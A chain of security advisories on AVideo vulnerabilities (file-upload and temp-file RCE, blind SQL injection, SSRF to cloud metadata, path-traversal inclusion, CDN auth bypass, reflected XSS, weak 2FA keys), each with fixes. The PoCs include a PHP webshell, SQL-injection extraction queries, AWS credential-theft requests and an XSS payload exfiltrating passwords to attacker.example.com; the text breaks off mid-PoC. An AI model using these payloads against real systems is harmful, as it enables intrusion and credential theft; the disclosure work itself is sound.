$obj = new stdClass(); $obj->id = Permissions::setPermission($POST['usersgroupsid'], $POST['pluginsid'], $POST['type'], $POST['isEnabled']);
die(jsonencode($obj));
The AJAX call in getPermissionsFromPlugin.html.php:84-92 already uses type: 'post' but must also send the globalToken parameter in its data payload.
Summary
The ImageGallery::saveFile() method validates uploaded file content using finfo MIME type detection but derives the saved filename extension from the user-supplied original filename without an allowlist check. An attacker can upload a polyglot file (valid JPEG magic bytes followed by PHP code) with a .php extension. The MIME check passes, but the file is saved as an executable .php file in a web-accessible directory, achieving Remote Code Execution.
Details
The vulnerability exists in plugin/ImageGallery/ImageGallery.php in the saveFile() method:
php // plugin/ImageGallery/ImageGallery.php:80-108 static function saveFile($file, $videosid) { $allowedMimeTypes = ['image/jpeg', 'image/webp', 'image/gif', 'image/png', 'video/mp4']; $directory = self::getImageDir($videosid);
// MIME check on file CONTENT — bypassable with polyglot $finfo = new finfo(FILEINFOMIMETYPE); $fileType = $finfo->file($file['tmpname']);
if (inarray($fileType, $allowedMimeTypes)) { // Extension from attacker-controlled filename — NO allowlist $extension = strtolower(pathinfo($file['name'], PATHINFOEXTENSION)); do { $newFilename = uniqid() . '.' . $extension; $newFilePath = $directory . $newFilename; } while (fileexists($newFilePath));
moveuploadedfile($file['tmpname'], $newFilePath); // ... } }
Root cause: Line 93 extracts the extension from the user-supplied $file['name'] and uses it directly in the saved filename. There is no check against an allowlist of safe extensions (e.g., jpg, png, gif, webp, mp4).
Why the MIME check is insufficient: PHP's finfo with FILEINFOMIMETYPE inspects file content magic bytes. A file starting with JPEG magic bytes (\xff\xd8\xff\xe0) is identified as image/jpeg regardless of trailing content. Appending PHP code after the JPEG header creates a polyglot that passes the MIME check but executes as PHP when requested via the web server.
Why no server-level protection exists: The root .htaccess at line 73 blocks dangerous extensions but uses the pattern php[a-z0-9]+ — which matches .php5, .phtml, .phar, etc., but intentionally does not match plain .php (since the application itself requires PHP execution). There is no .htaccess in the videos/ directory to disable PHP execution in the upload target.
Upload path: Files are saved to videos/{videoFilename}/ImageGallery/{uniqid}.php — directly accessible via the web server.
The upload endpoint at plugin/ImageGallery/upload.json.php requires: 1. The ImageGallery plugin to be enabled (line 6-8) 2. An authenticated user (line 10-12) 3. The user must have manage permission on the video (line 18-20) — video owner or admin
The response at line 27 calls listFiles() which returns the full URL of each uploaded file, giving the attacker the exact path to their webshell.
PoC
Prerequisites: Authenticated AVideo user account that owns at least one Image or Gallery type video.
Step 1: Create a polyglot PHP/JPEG file bash printf '\xff\xd8\xff\xe0\x00\x10JFIF' > shell.php echo '<?php if(isset($GET["c"])){system($GET["c"]);} ?>' >> shell.php
Step 2: Verify it passes finfo detection bash file --mime-type shell.php Expected output: shell.php: image/jpeg
Step 3: Upload via ImageGallery endpoint bash curl -b 'PHPSESSID=<sessioncookie>' \ -F "upl=@shell.php;filename=shell.php" \ 'https://target/plugin/ImageGallery/upload.json.php?videosid=<VIDEOID>'
Expected response: json { "videosid": "123", "saveFile": true, "error": false, "list": [ { "base": "67890abcdef12.php", "type": "image/jpeg", "url": "https://target/videos/videofilename/ImageGallery/67890abcdef12.php" } ] }
Step 4: Execute the webshell bash curl 'https://target/videos/videofilename/ImageGallery/67890abcdef12.php?c=id' Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Impact
An authenticated user with edit permission on any Image/Gallery video can achieve Remote Code Execution as the web server user. This allows:
- Reading sensitive configuration files (database credentials in videos/configuration.php) - Full database access via the database credentials - Reading/modifying/deleting any file accessible to the web server process - Lateral movement within the server's network - Potential privilege escalation depending on server configuration
Any AVideo instance with the ImageGallery plugin enabled and user registration open is vulnerable. Since regular (non-admin) users can exploit this against their own videos, the barrier to exploitation is low.
Recommended Fix
Add an extension allowlist check in saveFile() immediately after extracting the extension. The extension should be validated against the same set of types as the MIME allowlist:
php // plugin/ImageGallery/ImageGallery.php — in saveFile(), after line 93 static function saveFile($file, $videosid) { $allowedMimeTypes = ['image/jpeg', 'image/webp', 'image/gif', 'image/png', 'video/mp4']; + $allowedExtensions = ['jpg', 'jpeg', 'webp', 'gif', 'png', 'mp4'];
$directory = self::getImageDir($videosid);
$finfo = new finfo(FILEINFOMIMETYPE); $fileType = $finfo->file($file['tmpname']);
if (inarray($fileType, $allowedMimeTypes)) { $extension = strtolower(pathinfo($file['name'], PATHINFOEXTENSION)); + if (!inarray($extension, $allowedExtensions)) { + return false; + } do { $newFilename = uniqid() . '.' . $extension;
Additionally, as defense-in-depth, add a .htaccess file to the videos/ directory to disable PHP execution:
apache videos/.htaccess phpflag engine off <FilesMatch "\.php$"> Require all denied </FilesMatch>
Summary
The downloadVideoFromDownloadURL() function in objects/aVideoEncoder.json.php saves remote content to a web-accessible temporary directory using the original URL's filename and extension (including .php). By providing an invalid resolution parameter, an attacker triggers an early die() via forbiddenPage() before the temp file can be moved or cleaned up, leaving an executable PHP file persistently accessible under the web root at videos/cache/tmpFile/.
Details
The vulnerability is a race-free file upload leading to RCE, exploiting a logic flaw in the error handling order of operations.
Step 1 — File download preserves dangerous extension:
In objects/aVideoEncoder.json.php, when a downloadURL parameter is provided, the file is downloaded and saved with the URL's original basename:
php // objects/aVideoEncoder.json.php:361-365 $FILES['video']['name'] = basename($downloadURL); // preserves .php extension $temp = Video::getStoragePath() . "cache/tmpFile/" . $FILES['video']['name']; makepath($temp); $bytesSaved = fileputcontents($temp, $file);
The format parameter (validated against $global['allowedExtension'] at line 42) is only used later for the final destination filename (line 238), not for the temp file. The temp file uses basename($downloadURL) directly, allowing any extension including .php.
Step 2 — Resolution validation aborts after file write:
After the file is downloaded and written to disk (line 156), the resolution is validated:
php // objects/aVideoEncoder.json.php:229-233 if (!inarray($REQUEST['resolution'], $global['avideopossibleresolutions'])) { $msg = "This resolution is not possible {$REQUEST['resolution']}"; errorlog($msg); forbiddenPage($msg); // calls die() — execution stops here }
The forbiddenPage() function (in objects/functionsSecurity.php:567-573) detects the JSON content type set at line 26 and calls die():
php if (empty($unlockPassword) && isContentTypeJson()) { // ... die(jsonencode($obj)); // line 573 — execution terminates }
Step 3 — Cleanup never reached:
The decideMoveUploadedToVideos() call at line 243, which would move the temp file to its final destination with the safe format extension, is never reached because forbiddenPage() terminates execution first.
Step 4 — No execution restrictions on temp directory:
The videos/cache/tmpFile/ directory has no .htaccess file restricting PHP execution. The root .htaccess FilesMatch on line 73 blocks extensions matching php[a-z0-9]+ (e.g., .php5, .phtml) but does not match plain .php.
PoC
Prerequisites: An authenticated user account with canUpload permission. An attacker-controlled server hosting a PHP payload file at least 20KB in size.
Step 1 — Prepare the PHP payload (on attacker server):
bash Create a PHP webshell padded to >=20KB to pass the minimum size check python3 -c " payload = b'<?php echo \"RCE:\".phpuname(); ?>' padding = b'\n' + b'/' (20001 - len(payload)) open('shell.php', 'wb').write(payload + padding) " Host it on an attacker-controlled server (e.g., https://attacker.example.com/shell.php)
Step 2 — Trigger the download with invalid resolution:
bash curl -X POST 'https://target.example.com/objects/aVideoEncoder.json.php' \ -d 'user=uploaderusername' \ -d 'pass=uploaderpassword' \ -d 'format=mp4' \ -d 'downloadURL=https://attacker.example.com/shell.php' \ -d 'resolution=9999'
Expected response: {"error":true,"msg":"This resolution is not possible 9999","forbiddenPage":true}
Step 3 — Access the persisted PHP file:
bash curl 'https://target.example.com/videos/cache/tmpFile/shell.php'
Expected output: RCE:Linux target 5.15.0-... — confirming arbitrary PHP code execution on the server.
Impact
An authenticated user with standard upload permissions can achieve Remote Code Execution on the server. This allows:
- Full server compromise — read/write arbitrary files, execute system commands - Access to database credentials and all stored user data - Lateral movement to other services on the same network - Modification or destruction of all video content and platform configuration - Use of the server as a pivot point for further attacks
The attack requires only a single HTTP request (plus hosting a payload file) and leaves no trace in the application's normal upload/video processing logs beyond the download attempt.
Recommended Fix
Fix 1 (Primary) — Validate file extension in downloadVideoFromDownloadURL():
php // objects/aVideoEncoder.json.php — in downloadVideoFromDownloadURL(), after line 360 function downloadVideoFromDownloadURL($downloadURL) { global $global, $obj; $downloadURL = trim($downloadURL);
// ... existing SSRF check ...
// NEW: Validate the file extension against allowed extensions $urlExtension = strtolower(pathinfo(parseurl($downloadURL, PHPURLPATH), PATHINFOEXTENSION)); if (!inarray($urlExtension, $global['allowedExtension'])) { errlog("aVideoEncoder.json:downloadVideoFromDownloadURL blocked dangerous extension: " . $urlExtension); return false; }
// ... rest of function ... }
Fix 2 (Defense in depth) — Move resolution validation before file download:
php // objects/aVideoEncoder.json.php — move lines 227-236 to BEFORE line 154 // Validate resolution BEFORE downloading anything if (!empty($REQUEST['resolution'])) { if (!inarray($REQUEST['resolution'], $global['avideopossibleresolutions'])) { $msg = "This resolution is not possible {$REQUEST['resolution']}"; errorlog($msg); forbiddenPage($msg); } } // Then proceed with download...
Fix 3 (Defense in depth) — Add .htaccess to temp directory:
Create videos/cache/tmpFile/.htaccess: apache Deny execution of all scripts in temp directory <FilesMatch "\.(?i:php|phtml|phar|php[0-9]|shtml)$"> Require all denied </FilesMatch> phpflag engine off
Summary
The remindMe.json.php endpoint passes $REQUEST['livescheduleid'] through multiple functions without sanitization until it reaches Schedulercommands::getAllActiveOrToRepeat(), which directly concatenates it into a SQL LIKE clause. Although intermediate functions (new Liveschedule(), getUsersidOrCompany()) apply intval() internally, they do so on local copies within ObjectYPT::getFromDb(), leaving the original tainted variable unchanged. Any authenticated user can perform time-based blind SQL injection to extract arbitrary database contents.
Details
The vulnerability involves a 6-step data flow from user input to an unsanitized SQL sink:
Step 1 — User input (no sanitization): plugin/Live/remindMe.json.php:15: php $reminder = Live::setLiveScheduleReminder($REQUEST['livescheduleid'], ...);
Step 2 — Auth check passes for any user: plugin/Live/Live.php:4126: php if (!User::isLogged()) { $obj->msg = ('Must be logged'); return $obj; }
Step 3 — intval() applied only internally, original variable unchanged: plugin/Live/Live.php:4141-4143: php $ls = new Liveschedule($livescheduleid); // intval() inside getFromDb() only $usersid = Liveschedule::getUsersidOrCompany($livescheduleid); // same
objects/Object.php:84 (inside getFromDb()): php $id = intval($id); // sanitizes the LOCAL parameter, not the caller's variable
With input like 1" AND SLEEP(5) --, intval() extracts 1, loads schedule ID 1 successfully. The caller's $livescheduleid remains 1" AND SLEEP(5) --.
Step 4 — Tainted value flows to type string construction: plugin/Live/Live.php:4152 → Live.php:4193-4194: php $reminders = self::getLiveScheduleReminders($livescheduleid);
// getLiveScheduleReminders calls: $type = self::getLiveScheduleReminderBaseNameType($livescheduleid); // which builds: "LiveScheduleReminder{$tousersid}{$livescheduleid}" return Schedulercommands::getAllActiveOrToRepeat($type);
Step 5 — SQL injection sink: plugin/Scheduler/Objects/Schedulercommands.php:340-347: php $sql = "SELECT FROM " . static::getTableName() . " WHERE (status='a' OR status='r') "; if(!empty($type)){ $sql .= ' AND type LIKE "'.$type.'%" '; // LINE 343: direct concatenation } $res = sqlDAL::readSql($sql); // LINE 347: no parameterization
PoC
Prerequisites: Any authenticated user session, at least one liveschedule record (ID=1).
Step 1 — Baseline request (should return quickly): bash curl -s -o /dev/null -w "%{timetotal}" \ -b "PHPSESSID=<validsession>" \ "http://target/plugin/Live/remindMe.json.php?livescheduleid=1&minutesEarlier=10" Expected: response in ~0.1-0.5s
Step 2 — Time-based injection (5 second delay): bash curl -s -o /dev/null -w "%{timetotal}" \ -b "PHPSESSID=<validsession>" \ --get --data-urlencode 'livescheduleid=1" AND SLEEP(5) -- ' \ --data-urlencode 'minutesEarlier=10' \ "http://target/plugin/Live/remindMe.json.php" Expected: response delayed by ~5 seconds, confirming injection.
The resulting SQL becomes: sql SELECT FROM schedulercommands WHERE (status='a' OR status='r') AND type LIKE "LiveScheduleReminder1231" AND SLEEP(5) -- %"
Step 3 — Data extraction (example: first character of database user): bash curl -s -o /dev/null -w "%{timetotal}" \ -b "PHPSESSID=<validsession>" \ --get --data-urlencode 'livescheduleid=1" AND IF(SUBSTRING(user(),1,1)="r",SLEEP(5),0) -- ' \ --data-urlencode 'minutesEarlier=10' \ "http://target/plugin/Live/remindMe.json.php" If the response is delayed 5 seconds, the first character of user() is r.
Impact
- Full database read: An attacker with any authenticated session can extract all database contents character-by-character using time-based blind techniques, including admin credentials, user PII (emails, passwords), API keys, and session tokens. - Data modification: Depending on MySQL permissions, stacked queries or subquery-based writes could allow INSERT/UPDATE/DELETE operations. - Account takeover: Extracted admin password hashes or session tokens enable full platform compromise. - Low barrier: Only requires a basic authenticated account — no admin privileges needed.
Recommended Fix
Option 1 — Parameterize the query in Schedulercommands::getAllActiveOrToRepeat():
plugin/Scheduler/Objects/Schedulercommands.php:335-347: php public static function getAllActiveOrToRepeat($type='') { global $global; if (!static::isTableInstalled()) { return false; } $sql = "SELECT FROM " . static::getTableName() . " WHERE (status=? OR status=?) "; $formats = "ss"; $values = [self::$statusActive, self::$statusRepeat];
if(!empty($type)){ $sql .= ' AND type LIKE ? '; $formats .= "s"; $values[] = $type . "%"; }
$sql .= self::getSqlFromPost(); $res = sqlDAL::readSql($sql, $formats, $values); $fullData = sqlDAL::fetchAllAssoc($res); sqlDAL::close($res); $rows = array(); if ($res != false) { foreach ($fullData as $row) { $rows[] = $row; } } return $rows; }
Option 2 — Additionally sanitize at the entry point:
plugin/Live/remindMe.json.php:15 (defense in depth): php $REQUEST['livescheduleid'] = intval($REQUEST['livescheduleid']); $reminder = Live::setLiveScheduleReminder($REQUEST['livescheduleid'], ...);
Both fixes should be applied for defense in depth.
Summary
The isSSRFSafeURL() function in AVideo can be bypassed using IPv4-mapped IPv6 addresses (::ffff:x.x.x.x). The unauthenticated plugin/LiveLinks/proxy.php endpoint uses this function to validate URLs before fetching them with curl, but the IPv4-mapped IPv6 prefix passes all checks, allowing an attacker to access cloud metadata services, internal networks, and localhost services.
Details
The isSSRFSafeURL() function in objects/functions.php (lines 4021-4169) implements SSRF protection with two separate check paths:
1. IPv4 checks (lines 4101-4134): Regex patterns matching dotted-decimal notation (/^10\./, /^172\./, /^192\.168\./, /^127\./, /^169\.254\./) 2. IPv6 checks (lines 4150-4166): Checks for ::1, fe80::/10 (link-local), and fc00::/7 (unique local)
The gap: IPv4-mapped IPv6 addresses (::ffff:0:0/96) are not checked in either path. When a URL like http://[::ffff:169.254.169.254]/ is provided:
// Line 4038: parseurl strips brackets from IPv6 host $host = parseurl($url, PHPURLHOST); // $host = "::ffff:169.254.169.254"
// Line 4079: filtervar recognizes it as valid IPv6, skips DNS resolution if (!filtervar($host, FILTERVALIDATEIP)) { $resolvedIP = gethostbyname($host); // SKIPPED } $ip = $host; // $ip = "::ffff:169.254.169.254"
// Lines 4101-4134: IPv4 regex checks DON'T match (not dotted-decimal) if (pregmatch('/^169\.254\.\d{1,3}\.\d{1,3}$/', $ip)) // NO MATCH
// Lines 4150-4166: IPv6 checks don't cover ::ffff: prefix if ($ip === '::1' || ...) // NO MATCH if (pregmatch('/^fe[89ab][0-9a-f]:/i', $ip)) // NO MATCH if (pregmatch('/^f[cd][0-9a-f]{2}:/i', $ip)) // NO MATCH
// Line 4168: returns TRUE — bypass complete return true;
The vulnerable endpoint plugin/LiveLinks/proxy.php explicitly disables authentication:
php // proxy.php lines 2-3 $doNotConnectDatabaseIncludeConfig = 1; $doNotStartSessionbaseIncludeConfig = 1;
After the bypass, two requests are made to the attacker-controlled URL: 1. getheaders() at line 40 (via stream context) 2. fakeBrowser() at line 63 (via curl) — response content is echoed back to the attacker (lines 69-80)
PoC
Read AWS instance metadata (IAM credentials):
bash curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/'
Access localhost services:
bash curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:127.0.0.1]:3306/'
Scan internal network:
bash curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:10.0.0.1]/'
Steal AWS IAM role credentials (full chain):
bash Step 1: Get IAM role name ROLE=$(curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/')
Step 2: Get temporary credentials for the role curl -s "https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/${ROLE}"
Impact
- Cloud credential theft: Unauthenticated attackers can read cloud instance metadata (AWS IMDSv1, GCP, Azure) to steal IAM credentials, potentially gaining full access to cloud infrastructure. - Internal network access: Attackers can scan and access internal services not exposed to the internet, including databases, admin panels, and other backend services. - Localhost service access: Attackers can interact with services bound to localhost (e.g., Redis, Memcached, internal APIs). - No authentication required: The endpoint explicitly disables session handling and database connections, making this exploitable by any anonymous internet user.
Recommended Fix
Replace the manual IPv4/IPv6 blocklist approach with PHP's built-in FILTERFLAGNOPRIVRANGE | FILTERFLAGNORESRANGE flags, which correctly handle all private/reserved ranges including IPv4-mapped IPv6 addresses:
php // In isSSRFSafeURL(), replace lines 4099-4166 with:
// Block all private and reserved IP ranges (handles IPv4, IPv6, and IPv4-mapped IPv6) if (!filtervar($ip, FILTERVALIDATEIP, FILTERFLAGNOPRIVRANGE | FILTERFLAGNORESRANGE)) { errorlog("isSSRFSafeURL: blocked private/reserved IP: {$ip}"); return false; }
This single check replaces all the manual regex patterns and correctly handles: - All RFC 1918 private ranges (10/8, 172.16/12, 192.168/16) - Loopback (127/8, ::1) - Link-local (169.254/16, fe80::/10) - Unique local (fc00::/7) - IPv4-mapped IPv6 (::ffff:0:0/96) — the bypass vector in this finding - Other reserved ranges (0/8, 100.64/10 CGN, etc.)
Summary An unauthenticated API endpoint (APIName=locale) concatenates user input into an include path with no canonicalization or whitelist. Path traversal is accepted, so arbitrary PHP files under the web root can be included. In our test this yielded confirmed file disclosure and code execution of existing PHP content (e.g., view/about.php), and it can escalate to RCE if an attacker can place or control a PHP file elsewhere in the tree. Details - Entry point: plugin/API/get.json.php sets $global['bypassSameDomainCheck']=1 and merges GET/POST/JSON into $parameters without authentication or API secret. - Handler: plugin/API/API.php, method getapilocale() (lines ~5009–5023): php $parameters['language'] = strtolower($parameters['language']); $file = "{$global['systemRootPath']}locale/{$parameters['language']}.php"; if (!fileexists($file)) { return new ApiObject("This language does not exists"); } include $file; No validation is performed; ../ traversal is accepted. - Because include executes PHP, any reachable PHP file is executed in the web server context.
PoC 1. Fetch an arbitrary PHP file (no auth): GET /plugin/API/get.json.php?APIName=locale&language=../view/about HTTP/1.1 Host: <target> Response returns the rendered About page HTML, proving traversal outside locale/. 2. RCE with an attacker PHP file (any writable PHP path): GET /plugin/API/get.json.php?APIName=locale&language=../videos/locale/shell&x=whoami If shell.php contains <?php system($GET['x']); ?>, the response includes command output.
Impact - Unauthenticated file inclusion of arbitrary PHP files under the web root. - Confidential data leakage (e.g., configuration, secrets) via included PHP that renders output. - Potential RCE if any attacker-writable PHP file exists elsewhere (not confirmed in this build). - Affects any deployment with the API plugin enabled (default in docker-compose).
Mitigation - Reject path separators/dots and enforce a strict allowlist of locale slugs. - realpath the target and ensure it stays within $systemRootPath/locale. - Stop using include for translations; load data from vetted formats (JSON/array). - Add authentication (API secret/token) to the endpoint as a secondary control.
Summary
The CDN plugin endpoints plugin/CDN/status.json.php and plugin/CDN/disable.json.php use key-based authentication with an empty string default key. When the CDN plugin is enabled but the key has not been configured (the default state), the key validation check is completely bypassed, allowing any unauthenticated attacker to modify the full CDN configuration — including CDN URLs, storage credentials, and the authentication key itself — via mass-assignment through the par request parameter.
Details
The CDN plugin defines a default empty key in plugin/CDN/CDN.php:68:
php $obj->key = "";
The status.json.php endpoint authenticates requests using this key, but the check has a critical logic flaw at lines 16-27:
php // Line 16-19: Requires attacker to provide SOME key value if (empty($REQUEST['key'])) { $resp->msg = 'Key is empty'; die(jsonencode($resp)); }
// Line 21-26: Only validates key IF stored key is non-empty if (!empty($obj->key)) { // When key is "" (default), this is FALSE //check the key if ($obj->key !== $REQUEST['key']) { $resp->msg = 'Key Does not match'; die(jsonencode($resp)); } }
When the stored key is the default empty string "", !empty("") evaluates to false, and the entire key comparison block is skipped. Any non-empty value provided by the attacker passes authentication.
Following the bypass, lines 28-31 perform unchecked mass-assignment:
php $obj->key = $REQUEST['key']; foreach ($REQUEST['par'] as $key => $value) { $obj->{$key} = $value; $resp->{$key} = $value; }
The attacker-controlled par array sets arbitrary properties on the plugin data object. At line 95, the modified object is persisted to the database:
php $cdn = AVideoPlugin::loadPluginIfEnabled('CDN'); $id = $cdn->setDataObject($obj);
setDataObject() in Plugin.abstract.php:263 serializes the entire object to JSON and saves it, making all mass-assigned properties persistent.
Exploitable properties (defined in CDN.php:62-87) include: - CDN — main CDN URL for serving all video content - CDNS3, CDNB2, CDNFTP — storage-specific CDN URLs - enablestorage — enables CDN storage functionality - storagehostname, storageusername, storagepassword — storage backend credentials - key — the authentication key itself (via mass-assignment, can override line 28)
The disable.json.php endpoint has the identical authentication bypass (lines 16-27) and additionally deactivates the CDN plugin entirely (line 37: $cdn->setStatus('inactive')).
This contrasts with other sensitive endpoints in the codebase that properly use session-based authentication. For example, Gallery/saveSort.json.php (commit 087dab884) uses isGlobalTokenValid(), and commit daca4ffb1 added User::isAdmin() checks to other configuration endpoints.
PoC
Prerequisites: AVideo instance with CDN plugin enabled and key not configured (default state after enabling the plugin).
Step 1: Verify CDN plugin is enabled and key is default
bash curl -s 'https://target/plugin/CDN/status.json.php' \ -d 'key=anything' \ -d 'par[CDN]=https://evil.example.com/'
If the response contains "error":false, the key bypass worked and CDN URL has been overwritten.
Step 2: Full takeover — redirect media, enable storage with attacker credentials, lock out admins
bash curl -s 'https://target/plugin/CDN/status.json.php' \ -d 'key=initial-bypass' \ -d 'par[CDN]=https://evil.example.com/' \ -d 'par[enablestorage]=1' \ -d 'par[storagehostname]=evil.example.com' \ -d 'par[storageusername]=attacker' \ -d 'par[storagepassword]=controlled' \ -d 'par[key]=attacker-secret-key'
This single request: 1. Redirects all CDN-served media URLs to attacker's server 2. Enables CDN storage pointing to attacker-controlled host 3. Sets the key to attacker-secret-key, locking legitimate administrators out of reconfiguring via this endpoint
Step 3: Disable CDN entirely (denial of service)
bash curl -s 'https://target/plugin/CDN/disable.json.php' \ -d 'key=attacker-secret-key' \ -d 'par[x]=1'
This deactivates the CDN plugin, disrupting media delivery.
Impact
An unauthenticated remote attacker can:
1. Redirect all media delivery — By overwriting the CDN URL, all video content served to users is fetched from an attacker-controlled server, enabling content injection or phishing. 2. Exfiltrate uploaded videos — By enabling storage with attacker-controlled credentials, newly uploaded videos are sent to the attacker's storage server. 3. Overwrite storage credentials — The storagehostname, storageusername, and storagepassword fields are all mass-assignable, allowing the attacker to hijack the storage backend. 4. Lock out administrators — By setting the key via mass-assignment, the attacker prevents legitimate administrators from using these endpoints to restore configuration (though admin panel access is unaffected). 5. Disable CDN — Via disable.json.php, the attacker can deactivate the CDN plugin entirely, causing service disruption for media delivery.
The vulnerability is exploitable on any AVideo instance where the CDN plugin has been enabled but the key has not been manually configured — which is the default state immediately after enabling the plugin.
Recommended Fix
Add proper session-based authentication to both endpoints and remove the flawed key-only auth as the sole gate. In plugin/CDN/status.json.php and plugin/CDN/disable.json.php, add an admin check after the configuration include:
php requireonce dirname(FILE) . '/../../videos/configuration.php'; sessionwriteclose(); header('Content-Type: application/json');
$resp = new stdClass(); $resp->error = true; $resp->msg = '';
// Fix: Require admin authentication if (!User::isAdmin()) { $obj = AVideoPlugin::getDataObjectIfEnabled('CDN'); if (empty($obj) || empty($obj->key) || empty($REQUEST['key']) || $obj->key !== $REQUEST['key']) { $resp->msg = 'Authentication required'; die(jsonencode($resp)); } }
Additionally, restrict mass-assignment to only known, safe properties by validating against a whitelist:
php $allowedParams = ['CDN', 'CDNS3', 'CDNB2', 'CDNFTP', 'CDNLive']; foreach ($REQUEST['par'] as $key => $value) { if (!inarray($key, $allowedParams, true)) { continue; } $obj->{$key} = $value; $resp->{$key} = $value; }
This prevents mass-assignment of sensitive properties like key, storagepassword, storagehostname, and enablestorage even when the key-based auth is legitimately used by CDN nodes.
Summary
The YPTWallet Stripe payment confirmation page directly echoes the $REQUEST['plugin'] parameter into a JavaScript block without any encoding or sanitization. The plugin parameter is not included in any of the framework's input filter lists defined in security.php, so it passes through completely raw. An attacker can inject arbitrary JavaScript by crafting a malicious URL and sending it to a victim user.
The same script block also outputs the current user's username and password hash via User::getUserName() and User::getUserPass(), meaning a successful XSS exploitation can immediately exfiltrate these credentials.
Details
The Stripe confirmation page renders the plugin parameter directly into a <script> block:
php // plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116 "plugin": "<?php echo @$REQUEST['plugin']; ?>",
This appears inside a $.ajax() data object within a <script> tag. Because the value is injected into a JavaScript string context (not HTML), standard HTML entity encoding would not be sufficient even if it were applied. However, no encoding of any kind is performed.
The plugin parameter is not present in any of the sanitization or filtering arrays in security.php, so it arrives completely unmodified.
Immediately adjacent to the injection point, the script also exposes user credentials:
php // plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:117-118 "user": "<?php echo User::getUserName() ?>", "pass": "<?php echo User::getUserPass(); ?>",
No Content-Security-Policy headers are configured on the application, so inline script execution is unrestricted.
Proof of Concept
The XSS is reachable through the addFunds.php page which includes the vulnerable confirmButton.php template:
https://your-avideo-instance.com/plugin/YPTWallet/view/addFunds.php?plugin=%22}})});alert(document.domain);console.log({/
The injected value closes the JSON string and the $.ajax() call, then executes alert(document.domain). The response contains the payload unencoded in the script block:
javascript "plugin": ""}})});alert(document.domain);console.log({/",
Credential exfiltration payload:
https://your-avideo-instance.com/plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php?plugin=",x:fetch('https://attacker.example.com/steal?'+document.querySelector('script').textContent.match(/pass.?"(.?)"/)[1]),y:"
Simplified credential theft using the same-page credential leak:
html <!-- Host this on attacker.example.com and send the link to a victim --> <html> <body> <script> // The confirmButton.php page outputs user/pass in the script block. // XSS lets us read it directly. var payload = encodeURIComponent( '",x:(function(){' + 'var s=document.querySelector("script").textContent;' + 'var u=s.match(/"user":"([^"]+)"/)[1];' + 'var p=s.match(/"pass":"([^"]+)"/)[1];' + 'new Image().src="https://attacker.example.com/log?u="+u+"&p="+p;' + '})(),y:"' ); window.location = "https://your-avideo-instance.com/plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php?plugin=" + payload; </script> </body> </html>
Reproduction steps:
1. Navigate to the basic XSS URL above (substitute your target instance). 2. Observe the JavaScript alert box confirming code execution. 3. View the page source to confirm that User::getUserName() and User::getUserPass() are present in the same script block. 4. Use the credential exfiltration payload to demonstrate data theft.
Impact
An attacker can execute arbitrary JavaScript in the context of any authenticated user who clicks a crafted link. The impact is amplified by the credential leak on the same page:
- Immediate credential theft: The page already renders the victim's username and password hash in the script block. The XSS payload can read and exfiltrate these values without any additional requests. - Session hijacking: Steal session cookies and impersonate the victim. - Payment manipulation: Since this is a payment confirmation page, the attacker can modify payment amounts, redirect payment confirmations, or trigger unauthorized transactions. - Account takeover: Combine the stolen password hash with the username for offline cracking or direct replay.
The lack of CSP headers means there are no browser-side mitigations against the injected scripts.
- CWE: CWE-79 (Cross-Site Scripting - Reflected) - Severity: High (CVSS 8.1)
Recommended Fix
Apply htmlspecialchars() to the plugin parameter at plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116:
php // plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116 // Before: "plugin": "<?php echo @$REQUEST['plugin']; ?>",
// After: "plugin": "<?php echo htmlspecialchars(@$REQUEST['plugin'], ENTQUOTES, 'UTF-8'); ?>",
--- Found by aisafe.io
Summary
The createKeys() function in the LoginControl plugin's PGP 2FA system generates 512-bit RSA keys, which have been publicly factorable since 1999. An attacker who obtains a target user's public key can factor the 512-bit RSA modulus on commodity hardware in hours, derive the complete private key, and decrypt any PGP 2FA challenge issued by the system — completely bypassing the second authentication factor. Additionally, the generateKeys.json.php and encryptMessage.json.php endpoints lack any authentication checks, exposing CPU-intensive key generation to anonymous users.
Details
The vulnerability originates in plugin/LoginControl/pgp/functions.php at line 26:
php // plugin/LoginControl/pgp/functions.php:26 $privateKey = RSA::createKey(512);
This code was copied from the singpolyma/openpgp-php library's example/demo code, which was never intended for production use. The entire PGP 2FA flow relies on these weak keys:
1. Key generation: When a user enables PGP 2FA, the UI calls createKeys() which generates a 512-bit RSA keypair. The public key is saved to the database via savePublicKey.json.php.
2. Challenge creation (LoginControl.php:520-531): During login, a uniqid() token is generated, stored in the session, and encrypted with the user's stored public key: php // LoginControl.php:525-530 $SESSION['user']['challenge']['text'] = uniqid(); $encMessage = self::encryptPGPMessage(User::getId(), $SESSION['user']['challenge']['text']);
3. Challenge verification (LoginControl.php:533-539): The user must decrypt the challenge and submit the plaintext. Verification is a simple equality check: php // LoginControl.php:534 if ($response == $SESSION['user']['challenge']['text']) {
Since 512-bit RSA was publicly factored in 1999 (RSA-155 challenge), an attacker who obtains the public key can factor the modulus using freely available tools (CADO-NFS, msieve, yafu) in a matter of hours on modern hardware, reconstruct the complete private key from the prime factors, and decrypt any challenge encrypted with that key.
Unauthenticated endpoints (compounding issue):
generateKeys.json.php does not include configuration.php and has no authentication check: php // plugin/LoginControl/pgp/generateKeys.json.php:1-2 <?php requireonce '../../../plugin/LoginControl/pgp/functions.php';
Similarly, encryptMessage.json.php has no authentication. Both are accessible to anonymous users, enabling abuse of CPU-intensive RSA key generation for denial-of-service.
PoC
Step 1: Obtain the target user's 512-bit public key
The public key must be obtained through a side channel (e.g., the user sharing it per PGP conventions, another vulnerability leaking database contents, or admin access). The key is stored in the usersexternalOptions table under the key PGPKey.
Step 2: Extract the RSA modulus from the public key
